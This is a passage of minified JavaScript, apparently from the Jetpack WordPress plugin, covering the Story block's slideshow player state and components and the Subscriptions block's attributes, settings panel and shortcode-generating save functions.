t)(b.ZP,{playerId:t,slides:n,disabled:!P,onSlideSeek:D,maxBullets:P?L.maxBulletsFullscreen:L.maxBullets}),(0,o.createElement)(f.ZX,{playing:_,muted:C,onPlayPressed:()=>y(t,!_),onMutePressed:()=>E(t,!C),showMute:(e=>{const t=e<n.length?n[e]:null;return!!t&&("video"===t.type||(t.mime||"").startsWith("video/"))})(S)})),P&&(0,o.createElement)(f.Aq,{currentMedia:L.blurredBackground&&n.length>S&&n[S]}))}},68440:function(e,t,n){"use strict";var r=n(51806),a=n(9818),o=n(92819),i=n(69835);const s=e=>{let{key:t,playerId:n,index:o,disabled:s,isSelected:l,onClick:c}=e;const u=(0,a.useSelect)((e=>e("jetpack/story/player").getCurrentSlideProgressPercentage(n)),[]);return(0,r.createElement)(i.gT,{key:t,index:o,progress:u,disabled:s,isSelected:l,onClick:c})};t.ZP=e=>{let{playerId:t,slides:n,disabled:l,onSlideSeek:c,maxBullets:u}=e;const{currentSlideIndex:d}=(0,a.useSelect)((e=>({currentSlideIndex:e("jetpack/story/player").getCurrentSlideIndex(t)})),[]),p=Math.min(n.length,u),m=Math.floor(p/2);let h,f=0,g=n.length-1;return n.length<=u||d<m?(h=d,g=p-1):d>=n.length-m?(h=d-n.length+p,f=n.length-p):(h=m,f=d-m,g=d+m),(0,r.createElement)("div",{className:"wp-story-pagination wp-story-pagination-bullets",role:"tablist"},f>0&&(0,r.createElement)(i.gT,{key:"bullet-0",index:f-1,progress:100,isEllipsis:!0}),(0,o.range)(1,p+1).map(((e,n)=>{const a=n+f;let o=null;if(a<d)o=100;else{if(!(a>d))return(0,r.createElement)(s,{playerId:t,key:`bullet-${n}`,index:a,disabled:l,isSelected:h===n,onClick:()=>c(a)});o=0}return(0,r.createElement)(i.gT,{key:`bullet-${n}`,index:a,progress:o,disabled:l,isSelected:h===n,onClick:()=>c(a)})})),g<n.length-1&&(0,r.createElement)(i.gT,{key:`bullet-${p+1}`,index:g+1,progress:0,isEllipsis:!0}))}},63408:function(e,t,n){"use strict";var r=n(82674),a=n.n(r),o=n(51806),i=n(9818),s=n(69307),l=n(65235),c=n.n(l),u=n(69835),d=n(3065);t.Z=e=>{let{playerId:t,media:n,index:r,playing:l,uploading:p,settings:m,targetAspectRatio:h}=e;const{currentSlideIndex:f,buffering:g}=(0,i.useSelect)((e=>({currentSlideIndex:e("jetpack/story/player").getCurrentSlideIndex(t),buffering:e("jetpack/story/player").isBuffering(t)})),[]),{slideReady:b}=(0,i.useDispatch)("jetpack/story/player"),v=r===f,k=(0,s.useRef)(null),[y,E]=(0,s.useState)(!1),[w,_]=(0,s.useState)(!0);return(0,s.useEffect)((()=>{if(v&&!w){const e=k.current&&k.current.src&&"video"===k.current.tagName.toLowerCase()?k.current:null;b(t,k.current,e?e.duration:m.imageTime)}}),[v,w]),(0,s.useEffect)((()=>{r<=f+(l?1:0)&&E(!0)}),[l,f]),(0,s.useLayoutEffect)((()=>{k.current&&(0,d.Z)(k.current).then((()=>{_(!1)}))}),[y,p]),(0,o.createElement)(o.Fragment,null,v&&(w||p||g)&&(0,o.createElement)("div",{className:c()("wp-story-slide","is-loading",{transparent:l&&g,"semi-transparent":p||!l&&g})},(0,o.createElement)(u.WB,null)),(0,o.createElement)("div",{role:"figure",className:"wp-story-slide",style:{display:v&&!w?"block":"none"},tabIndex:v?0:-1},y&&(0,o.createElement)(u.pU,a()({},n,{targetAspectRatio:h,cropUpTo:m.cropUpTo,index:r,mediaRef:k}))))}},29154:function(e,t,n){"use strict";function r(e,t){return{type:"SET_MUTED",value:t,playerId:e}}function a(e,t){return{type:"SET_PLAYING",value:t,playerId:e}}function o(e,t){return{type:"SHOW_SLIDE",index:t,playerId:e}}function i(e,t,n){return{type:"SLIDE_READY",mediaElement:t,duration:n,playerId:e}}function s(e,t){return{type:"SET_CURRENT_SLIDE_PROGRESS",value:t,playerId:e}}function l(e){return{type:"RESET_CURRENT_SLIDE_PROGRESS",playerId:e}}function c(e){return{type:"SET_CURRENT_SLIDE_ENDED",playerId:e}}function u(e,t){return{type:"SET_FULLSCREEN",playerId:e,fullscreen:t}}function d(e){return{type:"ENDED",playerId:e}}function p(e){return{type:"INIT",playerId:e,settings:arguments.length>1&&void 0!==arguments[1]?arguments[1]:{}}}function m(e,t){return{type:"SET_BUFFERING",value:t,playerId:e}}n.r(t),n.d(t,{init:function(){return p},resetCurrentSlideProgress:function(){return l},setBuffering:function(){return m},setCurrentSlideEnded:function(){return c},setCurrentSlideProgress:function(){return s},setEnded:function(){return d},setFullscreen:function(){return u},setMuted:function(){return r},setPlaying:function(){return a},showSlide:function(){return o},slideReady:function(){return i}})},17380:function(e,t,n){"use strict";n.d(t,{H2:function(){return o},Qz:function(){return a},XO:function(){return r}});const r={currentTime:0,duration:null,timeout:null,lastUpdate:null},a={progress:r,index:0,mediaElement:null,duration:null,ended:!1,ready:!1},o={slideCount:0,currentSlide:a,previousSlide:null,muted:!1,playing:!1,ended:!1,buffering:!1,fullscreen:!1,settings:{imageTime:5,startMuted:!1,playInFullscreen:!0,playOnNextSlide:!0,playOnLoad:!1,exitFullscreenOnEnd:!0,loadInFullscreen:!1,blurredBackground:!0,showSlideCount:!1,showProgressBar:!0,shadowDOM:{enabled:!0,mode:"open",globalStyleElements:'#jetpack-block-story-css, link[href*="jetpack/_inc/blocks/story/view.css"]'},defaultAspectRatio:.5625,cropUpTo:.2,volume:.8,maxBullets:7,maxBulletsFullscreen:14}}},78733:function(e,t,n){"use strict";var r=n(29154),a=n(20876);const o=e=>e&&e.src&&"video"===e.tagName.toLowerCase();function i(e,t){const{getState:n}=t,r=e.playerId,i=(0,a.isMuted)(n(),r),s=(0,a.isPlaying)(n(),r),l=(0,a.getCurrentMediaElement)(n(),r),c=(0,a.getPreviousSlideMediaElement)(n(),r),u=(0,a.getSettings)(n(),r);o(c)&&(c.currentTime=0,c.onwaiting=null,c.onplaying=null,c.pause()),o(l)&&(i!==l.muted&&(l.muted=i,i||(l.volume=u.volume)),s?l.play():l.pause())}function s(e,t){const{getState:n,dispatch:i}=t,l=e.playerId,c=(0,a.isCurrentSlideReady)(n(),l),u=(0,a.isPlaying)(n(),l),d=(0,a.getCurrentSlideProgress)(n(),l);if(clearTimeout(d.timeout),!u||!c)return void(d.lastUpdate&&i((0,r.setCurrentSlideProgress)(l,{...d,lastUpdate:null})));const p=(0,a.getCurrentMediaElement)(n(),l),m=(0,a.getCurrentMediaDuration)(n(),l),h=d.lastUpdate?Date.now()-d.lastUpdate:100,f=o(p)?p.currentTime:d.currentTime+h/1e3;if(f>=m){i((0,r.setCurrentSlideEnded)(l));const e=(0,a.getSlideCount)(n(),l);(0,a.getCurrentSlideIndex)(n(),l)===e-1&&i((0,r.setEnded)(l))}else i((0,r.setCurrentSlideProgress)(l,{timeout:setTimeout((()=>s(e,t)),100),lastUpdate:Date.now(),duration:m,currentTime:f}))}t.Z={SET_PLAYING:[s,i],SLIDE_READY:[function(e,t){const{getState:n,dispatch:i}=t,s=e.playerId,l=(0,a.getCurrentMediaElement)(n(),s);if(!o(l))return;const c=(0,a.getCurrentSlideProgress)(n(),s);0===l.currentTime&&c.currentTime>0&&(l.currentTime=c.currentTime),l.onwaiting=()=>i((0,r.setBuffering)(s,!0)),l.onplaying=()=>i((0,r.setBuffering)(s,!1))},s,i],SET_MUTED:i,SHOW_SLIDE:i}},31179:function(e,t,n){"use strict";var r=n(9818),a=n(29154),o=n(74787),i=n(13498),s=n(20876);const l=(0,r.registerStore)("jetpack/story/player",{actions:a,reducer:i.Z,selectors:s});(0,o.Z)(l)},74787:function(e,t,n){"use strict";n.d(t,{Z:function(){return s}});var r=n(92819),a=n(24274),o=n.n(a),i=n(78733);function s(e){const t=[o()(i.Z)];let n=()=>{throw new Error("Dispatching while constructing your middleware is not allowed. Other middleware would not be applied to this dispatch.")},a=[];const s={getState:e.getState,dispatch:function(){return n(...arguments)}};return a=t.map((e=>e(s))),n=(0,r.flowRight)(...a)(e.dispatch),e.dispatch=n,e}},13498:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(92819),a=n(17380);function o(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:a.H2,t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"SHOW_SLIDE":{const n=e.currentSlide===t.index+1;return{...e,currentSlide:{...a.Qz,index:t.index},previousSlide:e.currentSlide,playing:n?e.settings.playOnNextSlide:e.playing}}case"SLIDE_READY":return{...e,buffering:!1,currentSlide:{...e.currentSlide,mediaElement:t.mediaElement,duration:t.duration,ready:!0},previousSlide:null};case"SET_CURRENT_SLIDE_PROGRESS":return{...e,currentSlide:{...e.currentSlide,progress:t.value}};case"SET_CURRENT_SLIDE_ENDED":return{...e,currentSlide:{...e.currentSlide,ended:!0}};case"RESET_CURRENT_SLIDE_PROGRESS":return{...e,currentSlide:{...e.currentSlide,progress:{...a.XO}}};case"SET_MUTED":return{...e,muted:t.value};case"SET_PLAYING":{const n=t.value&&e.ended;return{...e,playing:t.value,buffering:!!t.value&&e.buffering,fullscreen:!e.playing&&t.value?e.settings.playInFullscreen:e.fullscreen,ended:!n&&e.ended,currentSlide:n?{...a.Qz,index:0}:e.currentSlide,previousSlide:n?null:e.previousSlide}}case"SET_BUFFERING":return{...e,buffering:t.value};case"SET_FULLSCREEN":return{...e,fullscreen:t.fullscreen,playing:!(e.fullscreen&&!t.fullscreen&&e.settings.playInFullscreen)&&e.playing};case"INIT":{const n=(0,r.merge)({},e.settings,t.settings);return{...e,settings:n,playing:n.playOnLoad,fullscreen:n.loadInFullscreen}}case"ENDED":return{...e,currentSlide:{...a.Qz,index:e.settings.slideCount-1,progress:{...a.XO,currentTime:100,duration:100}},ended:!0,playing:!1,fullscreen:!e.settings.exitFullscreenOnEnd}}return e}function i(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;return t.playerId?{...e,[t.playerId]:o(e[t.playerId],t)}:e}},20876:function(e,t,n){"use strict";function r(e,t){return!!e[t]}function a(e,t){return e[t].currentSlide.index}function o(e,t){return e[t].currentSlide.progress}function i(e,t){const n=e[t].currentSlide.progress.currentTime,r=e[t].currentSlide.progress.duration,a=Math.round(100*n/r);return a>=100?100:a}function s(e,t){return e[t].playing}function l(e,t){return e[t].muted}function c(e,t){return e[t].buffering}function u(e,t){return e[t].currentSlide.mediaElement}function d(e,t){return e[t].currentSlide.duration}function p(e,t){return e[t].currentSlide.ended}function m(e,t){return e[t].currentSlide.ready}function h(e,t){return e[t].previousSlide?.mediaElement}function f(e,t){return e[t].fullscreen}function g(e,t){return e[t].ended}function b(e,t){return e[t].settings}function v(e,t){return e[t].settings.slideCount}n.r(t),n.d(t,{getCurrentMediaDuration:function(){return d},getCurrentMediaElement:function(){return u},getCurrentSlideIndex:function(){return a},getCurrentSlideProgress:function(){return o},getCurrentSlideProgressPercentage:function(){return i},getPreviousSlideMediaElement:function(){return h},getSettings:function(){return b},getSlideCount:function(){return v},hasCurrentSlideEnded:function(){return p},hasEnded:function(){return g},isBuffering:function(){return c},isCurrentSlideReady:function(){return m},isFullscreen:function(){return f},isMuted:function(){return l},isPlayerReady:function(){return r},isPlaying:function(){return s}})},29143:function(e,t,n){"use strict";var r=n(51806),a=n(65235),o=n.n(a);t.Z=e=>{let{className:t}=e;return(0,r.createElement)("div",{className:o()("wp-story",t)})}},95494:function(e,t,n){"use strict";n.d(t,{P:function(){return o}});var r=n(86989),a=n.n(r);function o(e,t){return a()({path:"/wpcom/v2/subscribers/counts"}).then((function(){let{counts:n}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};n?e(n):t()}))}},62924:function(e,t,n){"use strict";var r=n(65736);const __=r.__;t.Z={subscribePlaceholder:{type:"string",default:__("Type your email…","jetpack")},showSubscribersTotal:{type:"boolean",default:!1},includeSocialFollowers:{type:"boolean",default:!0},buttonOnNewLine:{type:"boolean",default:!1},buttonWidth:{type:"string"},submitButtonText:{type:"string",default:__("Subscribe","jetpack")},emailFieldBackgroundColor:{type:"string"},customEmailFieldBackgroundColor:{type:"string"},emailFieldGradient:{type:"string"},customEmailFieldGradient:{type:"string"},buttonBackgroundColor:{type:"string"},customButtonBackgroundColor:{type:"string"},buttonGradient:{type:"string"},customButtonGradient:{type:"string"},textColor:{type:"string"},customTextColor:{type:"string"},fontSize:{type:"string"},customFontSize:{type:"string"},borderRadius:{type:"number"},borderWeight:{type:"number"},borderColor:{type:"string"},customBorderColor:{type:"string"},padding:{type:"number"},spacing:{type:"number"},successMessage:{type:"string",default:__("Success! An email was just sent to confirm your subscription. Please find the email now and click 'Confirm Follow' to start subscribing.","jetpack")}}},58841:function(e,t,n){"use strict";n.d(t,{FP:function(){return h},G0:function(){return r},Gp:function(){return a},HE:function(){return d},K3:function(){return s},S9:function(){return o},Tr:function(){return p},VF:function(){return i},XJ:function(){return l},bK:function(){return u},lx:function(){return g},pC:function(){return m},tm:function(){return f},xV:function(){return c}});const r=0,a=50,o=0,i=0,s=15,l=1,c=5,u=50,d=15,p=0,m=50,h=10,f="16px",g="_jetpack_newsletter_access"},57532:function(e,t,n){"use strict";n.d(t,{Z:function(){return g}});var r=n(51806),a=n(52947),o=n(74356),i=n(13419),s=n(52175),l=n(55609),c=n(69307),u=n(65736),d=n(34904),p=n(30429),m=n(58841),h=n(86957),f=n(36557);const __=u.__,_n=u._n;function g(e){let{buttonBackgroundColor:t,borderColor:n,buttonGradient:g,borderRadius:b,borderWeight:v,buttonOnNewLine:k,emailFieldBackgroundColor:y,fallbackButtonBackgroundColor:E,fallbackTextColor:w,fontSize:_,includeSocialFollowers:C,isGradientAvailable:S,padding:j,setAttributes:x,setBorderColor:P,setButtonBackgroundColor:L,setTextColor:T,showSubscribersTotal:N,spacing:A,subscriberCount:R,textColor:I,buttonWidth:M,successMessage:B}=e;const{isPublicizeEnabled:Z}=(0,o.Nh)();return(0,r.createElement)(r.Fragment,null,(0,f.cJ)()&&(0,r.createElement)(h.Z,null),R>0&&(0,r.createElement)(d.Z,null,(0,c.createInterpolateElement)((0,u.sprintf)(/* translators: %s is the number of subscribers. The \xA0 non-breaking space is to make sure the last two words are on the same line. */
_n("<span>%s reader</span> is subscribed.","<span>%s readers</span> are subscribed.",R,"jetpack"),(0,a.Z)(R)),{span:(0,r.createElement)("span",{style:{fontWeight:"bold"}})})),S&&(0,r.createElement)(s.__experimentalPanelColorGradientSettings,{title:__("Color","jetpack"),className:"wp-block-jetpack-subscriptions__backgroundpanel",settings:[{colorValue:t.color,onColorChange:L,gradientValue:g.gradientValue,onGradientChange:g.setGradient,label:__("Button Background","jetpack")},{colorValue:I.color,onColorChange:T,label:__("Button Text","jetpack")},{colorValue:n.color,onColorChange:P,label:__("Border","jetpack")}],initialOpen:!0},(0,r.createElement)(s.ContrastChecker,{fontSize:_.size,textColor:I.color,backgroundColor:y.color,fallbackButtonBackgroundColor:E,fallbackTextColor:w})),!S&&(0,r.createElement)(s.PanelColorSettings,{title:__("Background Colors","jetpack"),className:"wp-block-jetpack-subscriptions__backgroundpanel",colorSettings:[{value:t.color,onChange:L,label:__("Button Background Color","jetpack")},{value:I.color,onChange:T,label:__("Button Text Color","jetpack")},{value:n.color,onColorChange:P,label:__("Border Color","jetpack")}],initialOpen:!1},(0,r.createElement)(s.ContrastChecker,{fontSize:_.size,textColor:I.color,backgroundColor:y.color,fallbackButtonBackgroundColor:E,fallbackTextColor:w})),(0,r.createElement)(l.PanelBody,{title:__("Typography","jetpack"),initialOpen:!1,className:"wp-block-jetpack-subscriptions__textpanel"},(0,r.createElement)(s.FontSizePicker,{withSlider:!0,value:_.size,onChange:e=>{const t=e||m.tm;x({fontSize:t,customFontSize:t})},__nextHasNoMarginBottom:!0})),(0,r.createElement)(l.PanelBody,{title:__("Border","jetpack"),initialOpen:!1,className:"wp-block-jetpack-subscriptions__borderpanel"},(0,r.createElement)(l.RangeControl,{value:b,label:__("Border Radius","jetpack"),min:m.G0,max:m.Gp,initialPosition:m.S9,allowReset:!0,onChange:e=>x({borderRadius:e})}),(0,r.createElement)(l.RangeControl,{value:v,label:__("Border Weight","jetpack"),min:m.VF,max:m.K3,initialPosition:m.XJ,allowReset:!0,onChange:e=>x({borderWeight:e})})),(0,r.createElement)(l.PanelBody,{title:__("Spacing","jetpack"),initialOpen:!1,className:"wp-block-jetpack-subscriptions__spacingpanel"},(0,r.createElement)(l.RangeControl,{value:j,label:__("Space Inside","jetpack"),min:m.xV,max:m.bK,initialPosition:m.HE,allowReset:!0,onChange:e=>x({padding:e})}),(0,r.createElement)(l.RangeControl,{value:A,label:__("Space Between","jetpack"),min:m.Tr,max:m.pC,initialPosition:m.FP,allowReset:!0,onChange:e=>x({spacing:e})}),(0,r.createElement)(p.g,{width:M,onChange:e=>x({buttonWidth:e})})),(0,r.createElement)(l.PanelBody,{title:__("Settings","jetpack"),initialOpen:!1,className:"wp-block-jetpack-subscriptions__displaypanel"},(0,r.createElement)(l.ToggleControl,{label:__("Show subscriber count","jetpack"),checked:N,onChange:()=>{x({showSubscribersTotal:!N})},help:()=>{if(!R||R<1)return __("This will remain hidden until there is at least one subscriber.","jetpack")}}),N&&Z?(0,r.createElement)(l.ToggleControl,{disabled:!N,label:__("Include social followers in count","jetpack"),checked:C,onChange:()=>{x({includeSocialFollowers:!C})}}):null,(0,r.createElement)(l.ToggleControl,{label:__("Place button on new line","jetpack"),checked:k,onChange:()=>{x({buttonOnNewLine:!k})}}),!(0,i.Wp)()&&(0,r.createElement)(l.TextareaControl,{value:B,label:__("Success message","jetpack"),help:__("Edit the message displayed when a user subscribes.","jetpack"),onChange:e=>x({successMessage:e})})))}},2916:function(e,t,n){"use strict";var r=n(75623),a=n(45097),o=n(20121),i=n(76609),s=n(11689),l=n(79024),c=n(68600),u=n(39583);t.Z=[u.Z,c.Z,l.Z,s.Z,i.Z,o.Z,a.Z,r.Z]},75623:function(e,t,n){"use strict";var r=n(51806),a=n(69307),o=n(65736),i=n(92819);const __=o.__;t.Z={attributes:{subscribeButton:{type:"string",default:__("Subscribe","jetpack")},showSubscribersTotal:{type:"boolean",default:!1}},migrate:e=>({submitButtonText:e.subscribeButton,showSubscribersTotal:e.showSubscribersTotal}),isEligible:e=>!(!e.hasOwnProperty("subscribeButton")||!(0,i.isEmpty)(e.subscribeButton)),save:function(e){let{attributes:t}=e;return(0,r.createElement)(a.RawHTML,null,`[jetpack_subscription_form show_subscribers_total="${t.showSubscribersTotal}" show_only_email_and_button="true"]`)}}},45097:function(e,t,n){"use strict";var r=n(65736),a=n(65534);const __=r.__;t.Z={attributes:{subscribePlaceholder:{type:"string",default:__("Email Address","jetpack")},subscribeButton:{type:"string",default:__("Subscribe","jetpack")},showSubscribersTotal:{type:"boolean",default:!1},submitButtonText:{type:"string",default:__("Subscribe","jetpack")},backgroundButtonColor:{type:"string"},textButtonColor:{type:"string"},customBackgroundButtonColor:{type:"string"},customTextButtonColor:{type:"string"},submitButtonClasses:{type:"string"}},migrate:e=>({subscribePlaceholder:e.subscribePlaceholder,showSubscribersTotal:e.showSubscribersTotal,buttonOnNewLine:!0,submitButtonText:e.submitButtonText,buttonBackgroundColor:e.backgroundButtonColor?e.backgroundButtonColor:"primary",customButtonBackgroundColor:e.customBackgroundButtonColor,textColor:e.textButtonColor?e.textButtonColor:"background",customTextColor:e.customTextButtonColor}),save:a.Z}},65534:function(e,t,n){"use strict";n.d(t,{Z:function(){return o}});var r=n(51806),a=n(69307);function o(e){let{attributes:t}=e;const{showSubscribersTotal:n,submitButtonClasses:o,customBackgroundButtonColor:i,customTextButtonColor:s,submitButtonText:l}=t;return(0,r.createElement)(a.RawHTML,null,`[jetpack_subscription_form show_only_email_and_button="true" custom_background_button_color="${i}" custom_text_button_color="${s}" submit_button_text="${l}" submit_button_classes="${o}" show_subscribers_total="${n}" ]`)}},20084:function(e,t,n){"use strict";var r=n(65736);const __=r.__;t.Z={subscribePlaceholder:{type:"string",default:__("Enter your email address","jetpack")},showSubscribersTotal:{type:"boolean",default:!1},buttonOnNewLine:{type:"boolean",default:!1},submitButtonText:{type:"string",default:__("Sign Up","jetpack")},emailFieldBackgroundColor:{type:"string"},customEmailFieldBackgroundColor:{type:"string"},emailFieldGradient:{type:"string"},customEmailFieldGradient:{type:"string"},buttonBackgroundColor:{type:"string"},customButtonBackgroundColor:{type:"string"},buttonGradient:{type:"string"},customButtonGradient:{type:"string"},textColor:{type:"string"},customTextColor:{type:"string"},fontSize:{type:"number"},customFontSize:{type:"number"},borderRadius:{type:"number"},borderWeight:{type:"number"},borderColor:{type:"string"},customBorderColor:{type:"string"},padding:{type:"number"},spacing:{type:"number"}}},60293:function(e,t,n){"use strict";n.d(t,{ZP:function(){return h}});var r=n(51806),a=n(52175),o=n(69307),i=n(65235),s=n.n(i),l=n(20084);const c=0,u=1,d=15,p=10,m=16;function h(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null;const{subscribePlaceholder:i,showSubscribersTotal:h,buttonOnNewLine:f,submitButtonText:g,emailFieldBackgroundColor:b,customEmailFieldBackgroundColor:v,emailFieldGradient:k,customEmailFieldGradient:y,buttonBackgroundColor:E,customButtonBackgroundColor:w,buttonGradient:_,customButtonGradient:C,textColor:S,customTextColor:j,fontSize:x,customFontSize:P,borderRadius:L,borderWeight:T,borderColor:N,customBorderColor:A,padding:R,spacing:I}=t,M=!!a.__experimentalGetGradientClass,B=(0,a.getColorClassName)("color",S),Z=(0,a.getFontSizeClass)(x),F=(0,a.getColorClassName)("border-color",N),D=(0,a.getColorClassName)("background-color",E),O=M?(0,a.__experimentalGetGradientClass)(_):void 0,z=(0,a.getColorClassName)("background-color",b),U=M?(0,a.__experimentalGetGradientClass)(k):void 0,$=s()(0===L?"no-border-radius":void 0,Z,F),H=s()($,S?"has-text-color":void 0,B,E||_?"has-background":void 0,D,O),V=s()($,z,U),G=!z&&y?y:v,q=!D&&C?C:w;let W=i,X=g;return"check-text-defaults"===n&&(W=i===l.Z.subscribePlaceholder.default?"Enter your email address":i,X=g===l.Z.submitButtonText.default?"Sign Up":g),(0,r.createElement)("div",{className:s()(e,"wp-block-jetpack-subscriptions__supports-newline",f?"wp-block-jetpack-subscriptions__use-newline":void 0,h?"wp-block-jetpack-subscriptions__show-subs":void 0)},(0,r.createElement)(o.RawHTML,null,`\n\t\t\t[jetpack_subscription_form\n\t\t\t\tsubscribe_placeholder="${W}"\n\t\t\t\tshow_subscribers_total="${h}"\n\t\t\t\tbutton_on_newline="${f}"\n\t\t\t\tsubmit_button_text="${X}"\n\t\t\t\tcustom_background_emailfield_color="${G}"\n\t\t\t\tcustom_background_button_color="${q}"\n\t\t\t\tcustom_text_button_color="${j}"\n\t\t\t\tcustom_font_size="${P||m}"\n\t\t\t\tcustom_border_radius="${L||c}"\n\t\t\t\tcustom_border_weight="${T||u}"\n\t\t\t\tcustom_border_color="${A}"\n\t\t\t\tcustom_padding="${R||d}"\n\t\t\t\tcustom_spacing="${I||p}"\n\t\t\t\tsubmit_button_classes="${H}"\n\t\t\t\temail_field_classes="${V}"\n\t\t\t\tshow_only_email_and_button="true"\n\t\t\t]`))}},20121:function(e,t,n){"use strict";var r=n(20084),a=n(60293);t.Z={attributes:r.Z,migrate:e=>{const{fontSize:t,customFontSize:n}=e;return{...e,fontSize:t?`${t}px`:void 0,customFontSize:n?`${n}px`:void 0}},save:e=>{let{className:t,attributes:n}=e;return(0,a.ZP)(t,n)}}},76609:function(e,t,n){"use strict";var r=n(20084),a=n(60293);t.Z={attributes:r.Z,migrate:e=>{const{fontSize:t,customFontSize:n}=e;return{...e,fontSize:t?`${t}px`:void 0,customFontSize:n?`${n}px`:void 0}},save:e=>{let{className:t,attributes:n}=e;return(0,a.ZP)(t,n,"check-text-defaults")}}},11689:function(e,t,n){"use strict";var r=n(20084),a=n(92167);t.Z={attributes:r.Z,migrate:e=>{const{fontSize:t,customFontSize:n}=e;return{...e,fontSize:t?`${t}px`:void 0,customFontSize:n?`${n}px`:void 0}},save:a.ZP}},92167:function(e,t,n){"use strict";n.d(t,{ZP:function(){return f}});var r=n(51806),a=n(52175),o=n(69307),i=n(65235),s=n.n(i),l=n(92819),c=n(20084);const u=0,d=1,p=15,m=10,h=16;function f(e){let{className:t,attributes:n}=e;const{subscribePlaceholder:i,showSubscribersTotal:f,buttonOnNewLine:g,submitButtonText:b,emailFieldBackgroundColor:v,customEmailFieldBackgroundColor:k,emailFieldGradient:y,customEmailFieldGradient:E,buttonBackgroundColor:w,customButtonBackgroundColor:_,buttonGradient:C,customButtonGradient:S,textColor:j,customTextColor:x,fontSize:P,customFontSize:L,borderRadius:T,borderWeight:N,borderColor:A,customBorderColor:R,padding:I,spacing:M}=n,B=!!a.__experimentalGetGradientClass,Z=(0,a.getColorClassName)("color",j),F=(0,a.getFontSizeClass)(P),D=(0,a.getColorClassName)("border-color",A),O=(0,a.getColorClassName)("background-color",w),z=B?(0,a.__experimentalGetGradientClass)(C):void 0,U=(0,a.getColorClassName)("background-color",v),$=B?(0,a.__experimentalGetGradientClass)(y):void 0,H=s()(0===T?"no-border-radius":void 0,F,D),V=s()(H,j?"has-text-color":void 0,Z,w||C?"has-background":void 0,O,z),G=s()(H,U,$),q=!U&&E?E:k,W=!O&&S?S:_,X={subscribe_placeholder:i!==c.Z.subscribePlaceholder.default?i:void 0,show_subscribers_total:f,button_on_newline:g,submit_button_text:b!==c.Z.submitButtonText.default?b:void 0,custom_background_emailfield_color:q,custom_background_button_color:W,custom_text_button_color:x,custom_font_size:L||h,custom_border_radius:T||u,custom_border_weight:N||d,custom_border_color:R,custom_padding:I||p,custom_spacing:M||m,submit_button_classes:V,email_field_classes:G,show_only_email_and_button:!0},K=(0,l.reduce)(X,((e,t,n)=>void 0===t?e:e+` ${n}="${t}"`),"");return(0,r.createElement)("div",{className:s()(t,"wp-block-jetpack-subscriptions__supports-newline",g?"wp-block-jetpack-subscriptions__use-newline":void 0,f?"wp-block-jetpack-subscriptions__show-subs":void 0)},(0,r.createElement)(o.RawHTML,null,`[jetpack_subscription_form${K}]`))}},29053:function(e,t,n){"use strict";var r=n(65736);const __=r.__;t.Z={subscribePlaceholder:{type:"string",default:__("Email Address","jetpack")},showSubscribersTotal:{type:"boolean",default:!1},buttonOnNewLine:{type:"boolean",default:!1},buttonWidth:{type:"string"},submitButtonText:{type:"string",default:__("Subscribe","jetpack")},emailFieldBackgroundColor:{type:"string"},customEmailFieldBackgroundColor:{type:"string"},emailFieldGradient:{type:"string"},customEmailFieldGradient:{type:"string"},buttonBackgroundColor:{type:"string"},customButtonBackgroundColor:{type:"string"},buttonGradient:{type:"string"},customButtonGradient:{type:"string"},textColor:{type:"string"},customTextColor:{type:"string"},fontSize:{type:"string"},customFontSize:{type:"string"},borderRadius:{type:"number"},borderWeight:{type:"number"},borderColor:{type:"string"},customBorderColor:{type:"string"},padding:{type:"number"},spacing:{type:"number"}}},79024:function(e,t,n){"use strict";var r=n(29053),a=n(62788);t.Z={attributes:r.Z,save:a.Z}},62788:function(e,t,n){"use strict";n.d(t,{Z:function(){return f}});var r=n(51806),a=n(52175),o=n(69307),i=n(65235),s=n.n(i),l=n(92819),c=n(29053);const u=0,d=1,p=15,m=10,h="16px";function f(e){let{className:t,attributes:n}=e;const{subscribePlaceholder:i,showSubscribersTotal:f,buttonOnNewLine:g,submitButtonText:b,emailFieldBackgroundColor:v,customEmailFieldBackgroundColor:k,emailFieldGradient:y,customEmailFieldGradient:E,buttonBackgroundColor:w,customButtonBackgroundColor:_,buttonGradient:C,customButtonGradient:S,textColor:j,customTextColor:x,fontSize:P,customFontSize:L,borderRadius:T,borderWeight:N,borderColor:A,customBorderColor:R,padding:I,spacing:M,buttonWidth:B}=n,Z=!!a.__experimentalGetGradientClass,F=(0,a.getColorClassName)("color",j),D=(0,a.getFontSizeClass)(P),O=(0,a.getColorClassName)("border-color",A),z=(0,a.getColorClassName)("background-color",w),U=Z?(0,a.__experimentalGetGradientClass)(C):void 0,$=(0,a.getColorClassName)("background-color",v),H=Z?(0,a.__experimentalGetGradientClass)(y):void 0,V=s()(0===T?"no-border-radius":void 0,D,O),G=s()(V,j?"has-text-color":void 0,F,w||C?"has-background":void 0,z,U),q=s()(V,$,H),W=!$&&E?E:k,X=!z&&S?S:_,K=B||void 0,J={subscribe_placeholder:i!==c.Z.subscribePlaceholder.default?i:void 0,show_subscribers_total:f,button_on_newline:g,submit_button_text:b!==c.Z.submitButtonText.default?b:void 0,custom_background_emailfield_color:W,custom_background_button_color:X,custom_text_button_color:x,custom_font_size:L||h,custom_border_radius:T||u,custom_border_weight:N||d,custom_border_color:R,custom_button_width:K,custom_padding:I||p,custom_spacing:M||m,submit_button_classes:G,email_field_classes:q,show_only_email_and_button:!0},Y=(0,l.reduce)(J,((e,t,n)=>void 0===t?e:e+` ${n}="${t}"`),"");return(0,r.createElement)("div",{className:s()(t,"wp-block-jetpack-subscriptions__supports-newline",g?"wp-block-jetpack-subscriptions__use-newline":void 0,f?"wp-block-jetpack-subscriptions__show-subs":void 0)},(0,r.createElement)(o.RawHTML,null,`[jetpack_subscription_form${Y}]`))}},11109:function(e,t,n){"use strict";var r=n(65736);const __=r.__;t.Z={subscribePlaceholder:{type:"string",default:__("Type your 